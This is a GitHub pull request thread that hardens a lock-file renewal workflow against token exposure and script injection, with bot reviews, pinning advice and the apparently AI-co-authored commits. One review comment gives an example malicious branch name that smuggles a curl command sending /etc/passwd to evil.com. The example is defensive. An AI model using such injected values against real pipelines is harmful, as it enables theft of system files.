Conversation
…sure
Don't persist GH_ACCESS_TOKEN before executing branch code. A malicious
branch could read the stored PAT from .git/config during `make` execution.
- Set persist-credentials: false on checkout
- Supply PAT only at push time via explicit x-access-token URL
- Restrict workflow-level permissions to {} (none by default)
- Reduce refresh-lock-files job to contents: read (push uses PAT)
- Reduce auto-merge job to pull-requests: write only (no contents: write)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
github-actions
Bot
added
the
review-requested
📝 WalkthroughWalkthroughThe workflow sets global default permissions to none and narrows job-level permissions. In refresh-lock-files, Estimated code review effort🎯 2 (Simple) | ⏱️ ~10 minutes Security findings
Only actionable issues listed. 🚥 Pre-merge checks | ✅ 3✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. Comment |
Codecov Report✅ All modified and coverable lines are covered by tests. Additional details and impacted files@@ Coverage Diff @@
## main #3202 +/- ##
=====================================
Coverage 3.44% 3.44%
=====================================
Files 30 30
Lines 3368 3368
Branches 530 530
=====================================
Hits 116 116
Misses 3250 3250
Partials 2 2
Flags with carried forward coverage won't be shown. Click here to find out more. Continue to review full report in Codecov by Sentry.
🚀 New features to boost your workflow:
|
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 1
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (3)
.github/workflows/piplock-renewal.yaml (3)
78-78:⚠️ Potential issue | 🟠 MajorPin
astral-sh/setup-uvby full commit SHA.Third-party actions carry higher risk.
- uses: astral-sh/setup-uv@v7 + uses: astral-sh/setup-uv@<FULL_SHA> # v7As per coding guidelines: "Pin all actions by full SHA, not tags (prevent supply chain attacks)".
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/piplock-renewal.yaml at line 78, The workflow currently references the third-party action with a tag ("uses: astral-sh/setup-uv@v7"); update this to pin the action to a full commit SHA instead (e.g., "uses: astral-sh/setup-uv@<full-sha>") to satisfy the security guideline. Locate the line containing the uses entry for astral-sh/setup-uv in the piplock-renewal.yaml workflow and replace the tag reference with the corresponding full commit SHA from the action's repository release commit.
73-73:⚠️ Potential issue | 🟠 MajorPin
actions/setup-pythonby full commit SHA.Same supply chain concern applies.
- uses: actions/setup-python@v6 + uses: actions/setup-python@<FULL_SHA> # v6As per coding guidelines: "Pin all actions by full SHA, not tags (prevent supply chain attacks)".
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/piplock-renewal.yaml at line 73, The workflow currently references the action using the tag "actions/setup-python@v6"; replace that tag with the action pinned to a full commit SHA (e.g., actions/setup-python@<full-commit-sha>) so the workflow uses a specific immutable commit. Update the uses entry (the line containing uses: actions/setup-python@v6) to the corresponding full SHA for the desired release and commit the change.
104-116:⚠️ Potential issue | 🔴 CriticalScript injection via
${{ env.BRANCH }}(CWE-94).
github.event.inputs.branchis a freeform text input. It flows intoenv.BRANCH(line 55) then gets directly interpolated into this shell command. A malicious actor with write access could supplymain"; curl http://evil.com/$(cat /etc/passwd | base64); echo "as the branch name.Use the shell variable
$BRANCHinstead of the GitHub Actions expression${{ env.BRANCH }}:Proposed fix
gh pr create \ --title "Update lock files" \ --body "$(cat <<'EOF' Automated lock file update. **Auto-merge policy:** This PR will be automatically merged after 1 working day unless: - Moved to draft status - Labeled with `do-not-merge/*` - Manually merged or closed EOF )" \ --label "automated-lockfile-update" \ - --base "${{ env.BRANCH }}" + --base "$BRANCH"As per coding guidelines: "Never interpolate event data directly in run: blocks (script injection CWE-94)".
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/piplock-renewal.yaml around lines 104 - 116, The gh pr create invocation is vulnerable because it interpolates the GitHub Actions expression `${{ env.BRANCH }}` directly into the shell; change that to use the shell variable "$BRANCH" instead (i.e., --base "$BRANCH") and ensure BRANCH is populated from the workflow environment prior to the run step (exported into the shell via GITHUB_ENV or a preceding run) and always quoted; also add basic validation/sanitization of BRANCH (allow only expected branch name characters) before using it to fully mitigate script-injection risk.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/workflows/piplock-renewal.yaml:
- Line 62: Replace the tag reference "actions/checkout@v6" with the
corresponding full commit SHA for the v6 release to pin the action; update the
workflow entry that uses actions/checkout (the "uses: actions/checkout@v6" line)
so it reads "uses: actions/checkout@<full-commit-sha>" using the official v6
release commit hash from the actions/checkout repository, commit the change, and
verify the workflow still runs as expected.
---
Outside diff comments:
In @.github/workflows/piplock-renewal.yaml:
- Line 78: The workflow currently references the third-party action with a tag
("uses: astral-sh/setup-uv@v7"); update this to pin the action to a full commit
SHA instead (e.g., "uses: astral-sh/setup-uv@<full-sha>") to satisfy the
security guideline. Locate the line containing the uses entry for
astral-sh/setup-uv in the piplock-renewal.yaml workflow and replace the tag
reference with the corresponding full commit SHA from the action's repository
release commit.
- Line 73: The workflow currently references the action using the tag
"actions/setup-python@v6"; replace that tag with the action pinned to a full
commit SHA (e.g., actions/setup-python@<full-commit-sha>) so the workflow uses a
specific immutable commit. Update the uses entry (the line containing uses:
actions/setup-python@v6) to the corresponding full SHA for the desired release
and commit the change.
- Around line 104-116: The gh pr create invocation is vulnerable because it
interpolates the GitHub Actions expression `${{ env.BRANCH }}` directly into the
shell; change that to use the shell variable "$BRANCH" instead (i.e., --base
"$BRANCH") and ensure BRANCH is populated from the workflow environment prior to
the run step (exported into the shell via GITHUB_ENV or a preceding run) and
always quoted; also add basic validation/sanitization of BRANCH (allow only
expected branch name characters) before using it to fully mitigate
script-injection risk.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Repository YAML (base), Central YAML (inherited), Repository UI (inherited)
Review profile: CHILL
Plan: Pro
Run ID: 2eda4c3f-ddbe-4e3d-bfde-feddd687132c
📒 Files selected for processing (1)
.github/workflows/piplock-renewal.yaml
| @@ -61,8 +62,7 @@ jobs: | |||
| uses: actions/checkout@v6 | |||
There was a problem hiding this comment.
Pin actions/checkout by full commit SHA (CWE-1357: supply chain risk).
Tag @v6 can be force-pushed by upstream. Use the commit SHA to prevent silent compromise.
- uses: actions/checkout@v6
+ uses: actions/checkout@<FULL_SHA> # v6As per coding guidelines: "Pin all actions by full SHA, not tags (prevent supply chain attacks)".
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/piplock-renewal.yaml at line 62, Replace the tag reference
"actions/checkout@v6" with the corresponding full commit SHA for the v6 release
to pin the action; update the workflow entry that uses actions/checkout (the
"uses: actions/checkout@v6" line) so it reads "uses:
actions/checkout@<full-commit-sha>" using the official v6 release commit hash
from the actions/checkout repository, commit the change, and verify the workflow
still runs as expected.
The explicit x-access-token URL push sets upstream tracking to the URL path instead of origin, so gh pr create fails to detect the remote. Add --head flag to specify the branch name explicitly. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
GitHub Actions expressions are interpolated before the shell runs, making freeform inputs like branch name injectable (CWE-94). Use shell variables ($BRANCH, $INDEX_MODE) instead in run: blocks. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
There was a problem hiding this comment.
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
.github/workflows/piplock-renewal.yaml (2)
78-80:⚠️ Potential issue | 🟠 MajorPin
astral-sh/setup-uvby full commit SHA (CWE-1357).Third-party action uses mutable tag. Supply chain attack vector.
- uses: astral-sh/setup-uv@v7 + uses: astral-sh/setup-uv@<FULL_SHA> # v7🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/piplock-renewal.yaml around lines 78 - 80, The workflow step currently uses a mutable tag "astral-sh/setup-uv@v7" which is vulnerable to supply-chain changes; update the uses line for the step (the one referencing astral-sh/setup-uv@v7) to pin the action to a specific full commit SHA (e.g., astral-sh/setup-uv@<full-commit-sha>) instead of the tag, keeping the existing with: version-file: uv.toml block intact; commit the change and verify the SHA by checking the action repository for the desired release commit.
73-75:⚠️ Potential issue | 🟠 MajorPin
actions/setup-pythonby full commit SHA.Tag
@v6can be force-pushed (CWE-1357). Use the SHA for v6.0.0:- uses: actions/setup-python@v6 + uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v6.0.0🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/piplock-renewal.yaml around lines 73 - 75, Replace the floating tag "actions/setup-python@v6" with the pinned full commit SHA for the v6.0.0 release to prevent tag force-push issues; locate the uses: actions/setup-python@v6 line in the workflow and update it to the exact SHA for v6.0.0 while preserving the python-version: '3.12' setting so the action remains functionally identical.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Outside diff comments:
In @.github/workflows/piplock-renewal.yaml:
- Around line 78-80: The workflow step currently uses a mutable tag
"astral-sh/setup-uv@v7" which is vulnerable to supply-chain changes; update the
uses line for the step (the one referencing astral-sh/setup-uv@v7) to pin the
action to a specific full commit SHA (e.g.,
astral-sh/setup-uv@<full-commit-sha>) instead of the tag, keeping the existing
with: version-file: uv.toml block intact; commit the change and verify the SHA
by checking the action repository for the desired release commit.
- Around line 73-75: Replace the floating tag "actions/setup-python@v6" with the
pinned full commit SHA for the v6.0.0 release to prevent tag force-push issues;
locate the uses: actions/setup-python@v6 line in the workflow and update it to
the exact SHA for v6.0.0 while preserving the python-version: '3.12' setting so
the action remains functionally identical.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Repository YAML (base), Central YAML (inherited), Repository UI (inherited)
Review profile: CHILL
Plan: Pro
Run ID: 4f26a45e-2640-48b2-b071-bf21b74b679f
📒 Files selected for processing (1)
.github/workflows/piplock-renewal.yaml
|
[APPROVALNOTIFIER] This PR is NOT APPROVED This pull-request has been approved by: ide-developer The full list of commands accepted by this bot can be found here. DetailsNeeds approval from an approver in each of these files:Approvers can indicate their approval by writing |
…sure (opendatahub-io#3202) * RHAIENG-4071: harden piplock-renewal workflow against credential exposure Don't persist GH_ACCESS_TOKEN before executing branch code. A malicious branch could read the stored PAT from .git/config during `make` execution. - Set persist-credentials: false on checkout - Supply PAT only at push time via explicit x-access-token URL - Restrict workflow-level permissions to {} (none by default) - Reduce refresh-lock-files job to contents: read (push uses PAT) - Reduce auto-merge job to pull-requests: write only (no contents: write) * RHAIENG-4071: fix gh pr create after explicit-URL push The explicit x-access-token URL push sets upstream tracking to the URL path instead of origin, so gh pr create fails to detect the remote. Add --head flag to specify the branch name explicitly. * RHAIENG-4071: fix script injection via ${{ env.BRANCH }} in run blocks GitHub Actions expressions are interpolated before the shell runs, making freeform inputs like branch name injectable (CWE-94). Use shell variables ($BRANCH, $INDEX_MODE) instead in run: blocks. --------- Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
3 participants
https://redhat.atlassian.net/browse/RHAIENG-4071
Summary
GH_ACCESS_TOKENbefore executing branch code — a malicious branch could read the stored PAT from.git/configduringmakeexecutionpersist-credentials: falseon checkout, supply PAT only at push time via explicitx-access-tokenURL{}(none by default), reduce each job to least-privilegeChanges
tokenand setpersist-credentials: falsehttps://x-access-token:${GH_TOKEN}@github.com/...URL instead oforiginpermissions: {},refresh-lock-filesreduced tocontents: read,auto-merge-lockfile-prsreduced topull-requests: writeonlyReferences
Test plan
piplock-renewalworkflow withupdate-lockfilesoperation and verify it creates a PR successfully https://github.com/opendatahub-io/notebooks/actions/runs/23649053317auto-mergeoperation and verify it can still approve and merge eligible PRs🤖 Generated with Claude Code
Summary by CodeRabbit
Summary by CodeRabbit